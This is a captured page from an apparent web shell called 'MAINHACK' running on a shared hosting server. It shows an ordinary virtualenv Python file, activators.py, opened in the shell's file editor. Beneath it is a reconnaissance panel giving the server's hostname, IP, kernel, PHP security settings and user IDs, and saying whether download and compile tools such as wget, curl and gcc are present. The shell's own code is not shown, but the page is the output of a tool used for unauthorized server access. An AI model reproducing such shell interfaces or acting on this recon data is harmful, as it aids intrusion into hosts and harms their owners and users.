[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: activators.py
File is not writable. Editing disabled.
from __future__ import absolute_import, unicode_literals from argparse import ArgumentTypeError from collections import OrderedDict from .base import ComponentBuilder class ActivationSelector(ComponentBuilder): def __init__(self, interpreter, parser): self.default = None possible = OrderedDict( (k, v) for k, v in self.options("virtualenv.activate").items() if v.supports(interpreter) ) super(ActivationSelector, self).__init__(interpreter, parser, "activators", possible) self.parser.description = "options for activation scripts" self.active = None def add_selector_arg_parse(self, name, choices): self.default = ",".join(choices) self.parser.add_argument( "--{}".format(name), default=self.default, metavar="comma_sep_list", required=False, help="activators to generate - default is all supported", type=self._extract_activators, ) def _extract_activators(self, entered_str): elements = [e.strip() for e in entered_str.split(",") if e.strip()] missing = [e for e in elements if e not in self.possible] if missing: raise ArgumentTypeError("the following activators are not available {}".format(",".join(missing))) return elements def handle_selected_arg_parse(self, options): selected_activators = ( self._extract_activators(self.default) if options.activators is self.default else options.activators ) self.active = {k: v for k, v in self.possible.items() if k in selected_activators} self.parser.add_argument( "--prompt", dest="prompt", metavar="prompt", help=( "provides an alternative prompt prefix for this environment " "(value of . means name of the current working directory)" ), default=None, ) for activator in self.active.values(): activator.add_parser_arguments(self.parser, self.interpreter) def create(self, options): return [activator_class(options) for activator_class in self.active.values()]
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 690.92 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A